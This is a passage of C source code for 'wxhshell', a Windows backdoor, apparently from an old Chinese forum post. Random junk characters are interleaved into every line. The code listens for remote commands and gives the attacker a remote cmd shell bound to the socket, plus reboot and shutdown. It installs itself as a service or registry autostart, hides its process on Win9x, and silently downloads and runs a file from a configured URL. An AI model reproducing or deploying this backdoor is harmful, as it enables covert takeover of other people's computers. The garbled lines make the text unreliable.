  } /XjIm4EN  
  // 安装 Wct +T,8  
  case 'i': { L"rLalUw  
    if(Install()) 3Wrl_V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `o8b\p\zn  
    else L%ND?'@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4NMv7[r  
    break; 1 M7=*w,  
    } @tdX=\[~  
  // 卸载 g^26Gb.  
  case 'r': { ?D/r1%Z  
    if(Uninstall()) D9B?9Qt2[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .7ESPr  
    else 2-ev7:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mHE4Es0  
    break; 8c\mm 0n  
    } L01R.3Z+  
  // 显示 wxhshell 所在路径 5YUn{qtD  
  case 'p': { #IDDKUE  
    char svExeFile[MAX_PATH]; @I2m4Q{O  
    strcpy(svExeFile,"\n\r"); LyhLPU0^q  
      strcat(svExeFile,ExeFile); -@b&qi7&S  
        send(wsh,svExeFile,strlen(svExeFile),0); %;(+s7  
    break; DZ?>9W{  
    } N+rLbK*  
  // 重启 ^2[0cne  
  case 'b': { f(=yC} si  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O$J'BnPpw  
    if(Boot(REBOOT)) lY[>}L*H8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yL^1s\<ddW  
    else { CsS0(n(x  
    closesocket(wsh); y4$UPLm  
    ExitThread(0); Z`v6DfK}  
    } O66\s q  
    break; &ME[H  
    } %4Ylq|d  
  // 关机 2/RK pl &  
  case 'd': { e<dFvMO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G'q7@d {'  
    if(Boot(SHUTDOWN)) ]^Z7w`=%5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \K9XG/XIx  
    else { W%hdS<b  
    closesocket(wsh); RX4O1Z0  
    ExitThread(0); )/PvaL  
    } Hq8<g$  
    break; zh2$U dZ|M  
    } TKvUBy  
  // 获取shell ptQr8[FA  
  case 's': { =\e}fyuK  
    CmdShell(wsh); 2w)0>Y(_  
    closesocket(wsh); }P#%aE&-  
    ExitThread(0); Mcj4GjV6:"  
    break; b[$%Wg  
  } wxB?}   
  // 退出 B3@   
  case 'x': { $]:I1I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k$y(H;XA  
    CloseIt(wsh); %+|k>?&z7  
    break; fu}NH \{  
    } @riCR<fF  
  // 离开 S&}7jRH1  
  case 'q': { EShc1KPqc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1el?f>  
    closesocket(wsh); Q4{%)}2$  
    WSACleanup(); `sQ\j Nu  
    exit(1); @4^5C-  
    break; {J%Na&D  
        } ZZ A!Y9ia2  
  }  4%LG9hS  
  } YR'?fr  
E0$UoP   
  // 提示信息 'Sppm;?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F\Q)l+c  
} H"WkZX  
  } fc._*y#AS  
#`RY KQwB  
  return; \xkLI:*\  
} V^QKn+/  
6%H8Q v  
// shell模块句柄 ,w; ~R4x  
int CmdShell(SOCKET sock) VQU[5C  
{ C6,GgDH`  
STARTUPINFO si; p18-yt; 1  
ZeroMemory(&si,sizeof(si)); eW"i'\`0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {/uBZ(   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W:O<9ZbQ_  
PROCESS_INFORMATION ProcessInfo; ~:b bV6YO  
char cmdline[]="cmd"; D QP#h5O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2!\y0*}K  
  return 0; t1b$,jHmKl  
} g_G?gO  
SKuZik_  
// 自身启动模式 bM;yXgorU  
int StartFromService(void) jWLZ!a3+  
{ Bwjd/id q  
typedef struct qF`;xa%,}  
{ !CtY.Lp  
  DWORD ExitStatus; 0 lXV+lj  
  DWORD PebBaseAddress; %eT4Q~}5"  
  DWORD AffinityMask; F')T:;,s  
  DWORD BasePriority; [q cT?h  
  ULONG UniqueProcessId; sSd  
  ULONG InheritedFromUniqueProcessId; )MZ]c)JD^  
}   PROCESS_BASIC_INFORMATION; NLyvi,svS  
M$ep.<Z1|  
PROCNTQSIP NtQueryInformationProcess; .{k(4_Q?I  
V]L$`7G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2FD[D `n]f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tBtJRi(  
nT` NfN  
  HANDLE             hProcess; </t_<I0{  
  PROCESS_BASIC_INFORMATION pbi; 1 iS9f~  
`]\4yTd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N?Mmv|  
  if(NULL == hInst ) return 0; 7U:,:=  
2_vE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (9';zw   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LeO ))  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 96]lI3 c  
WLiY:X(+|  
  if (!NtQueryInformationProcess) return 0; 1,`-n5@J%n  
rtvuAFiH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SW (7!`  
  if(!hProcess) return 0; W=5+k0Q  
JmrQDO_(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &UP@Sr0D7  
B7nMy oj  
  CloseHandle(hProcess); AJ2Xq*fk  
B h@R9O<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?4Lb*{R  
if(hProcess==NULL) return 0; [@kzC/Jq3  
0(Y$xg  
HMODULE hMod; ~^lQ[x  
char procName[255]; ?*u)T%S  
unsigned long cbNeeded; -kZz,pNQ,  
FRF3V>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )~_!u}+:(  
WEqHL,Uh]  
  CloseHandle(hProcess); Xx:0Nt]  
q?[{fcNh$  
if(strstr(procName,"services")) return 1; // 以服务启动 d%1S6eYa'  
G(JvAe]r  
  return 0; // 注册表启动 Q}^ n  
} \-GV8A2:k  
'Vy$d<@s[  
// 主模块 reM%GU  
int StartWxhshell(LPSTR lpCmdLine) fbB(W E+  
{ o%h\55S  
  SOCKET wsl; B5#a 4G.  
BOOL val=TRUE; UL; d H  
  int port=0; @_Aqk{3  
  struct sockaddr_in door; 6Kh: m-E9  
0MMY{@n  
  if(wscfg.ws_autoins) Install(); zF;}b3oIo  
Z{chAg\  
port=atoi(lpCmdLine); :|<D(YA  
T=VVK6Lc:  
if(port<=0) port=wscfg.ws_port; ?8-e@/E#x  
& ?/h5<  
  WSADATA data; *Zt)J8C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;PaB5TT(  
TmKO/N@}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BS*cG>T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XT{1!I(  
  door.sin_family = AF_INET; 6]T02;b>/,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r NU,(htS  
  door.sin_port = htons(port); 20^F -,z  
-ud~'<k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o|]xj'  
closesocket(wsl); j2qDRI  
return 1; (z2)<_bXJ  
} )pr pG !  
(S5'iks x  
  if(listen(wsl,2) == INVALID_SOCKET) { }w8h^(+B  
closesocket(wsl); }O2hhh_  
return 1; O~{Zs\u9  
} g.DgJX&i  
  Wxhshell(wsl); Xe=@I*  
  WSACleanup(); 7Yk6C5C  
L$ ]D&f8:  
return 0; X-Xf6&Uz  
Bf1GHn Xv  
} ;TmwIZ  
D: JGd$`  
// 以NT服务方式启动 *X%`MN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }-zx4<4BH  
{ YH':cze  
DWORD   status = 0; !\ y_ik  
  DWORD   specificError = 0xfffffff; C1p |.L?m  
Yr-,0${m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k49CS*I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X%`8h _  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s<:"rw`  
  serviceStatus.dwWin32ExitCode     = 0; SnQ$  
  serviceStatus.dwServiceSpecificExitCode = 0; d#ld*\|  
  serviceStatus.dwCheckPoint       = 0; (`3 Bi]7  
  serviceStatus.dwWaitHint       = 0; @=Ly#HuUM  
umrRlF4M;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <6dD{{J]>p  
  if (hServiceStatusHandle==0) return; jJ55Az?t:  
Mk@_uPm  
status = GetLastError(); CG=#rc]vz  
  if (status!=NO_ERROR) eqeVz`  
{ ]P(Eo|)m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4LBjqv,P  
    serviceStatus.dwCheckPoint       = 0; vm8QKPy  
    serviceStatus.dwWaitHint       = 0; >GT0 x  
    serviceStatus.dwWin32ExitCode     = status; hH"3Y}U@  
    serviceStatus.dwServiceSpecificExitCode = specificError; lG\lu'<C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J4`08,  
    return; 5uDQ*nJ|  
  } S`0@fieOf  
O(&EnNm[2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EHzU`('?[  
  serviceStatus.dwCheckPoint       = 0; C!qW:H  
  serviceStatus.dwWaitHint       = 0; xBB:b\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WpTC,~-  
} %*|XN*iXC  
yc%AkhX*  
// 处理NT服务事件,比如:启动、停止 14oD^`-t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fD,#z&  
{ 3XL0Pm  
switch(fdwControl) >kC@7h5)  
{ eWwSD#N#  
case SERVICE_CONTROL_STOP: @q^WD_k  
  serviceStatus.dwWin32ExitCode = 0; #\`6ZHW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DKK200j  
  serviceStatus.dwCheckPoint   = 0; zc/S  
  serviceStatus.dwWaitHint     = 0; i.F[.-.  
  { Z]9 )1&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ij=hmTl{P  
  } Cc!n`%qc  
  return; +BzKO >  
case SERVICE_CONTROL_PAUSE: c%xxsq2n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q".l:T%|C}  
  break; (B$2)yZY  
case SERVICE_CONTROL_CONTINUE: e#_xDR:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tQ`tHe  
  break; v`wPdb  
case SERVICE_CONTROL_INTERROGATE: )j6S<mn  
  break; 5fVdtJk7  
}; ?:U6MjlQ"{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oWXvkDN   
} &2QN^)q  
rycscE4,  
// 标准应用程序主函数 uO"@YX/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vtL)  
{ Gc@ENE f  
6 _73  
// 获取操作系统版本 ^GRd;v=-@  
OsIsNt=GetOsVer(); UK _2i(I"e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @Chj0wWZ>  
YjHGdacs  
  // 从命令行安装 -$e\m] }Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); i g?]kZ  
It]CoAo+  
  // 下载执行文件 1 #EmZ{*  
if(wscfg.ws_downexe) { <Xl G:nmY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y ciZU  
  WinExec(wscfg.ws_filenam,SW_HIDE); )Xg#x:  
} bz}T}nj  
iT.hXzPzr*  
if(!OsIsNt) { + FLzK(  
// 如果时win9x,隐藏进程并且设置为注册表启动 N4HnW0  
HideProc(); =3 -G  
StartWxhshell(lpCmdLine); Zqx5I~  
} w7dG=a&  
else ia?8 Z"&lK  
  if(StartFromService()) `^_.E:f  
  // 以服务方式启动 A;2?!i#f  
  StartServiceCtrlDispatcher(DispatchTable); F}sfk}rp  
else [0J0<JnK  
  // 普通方式启动 DVpqm6$ Q  
  StartWxhshell(lpCmdLine); y#x]?%m  
n'M}6XUw  
return 0; :+[q `  
}
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只看该作者 1 发表于: 2006-10-10
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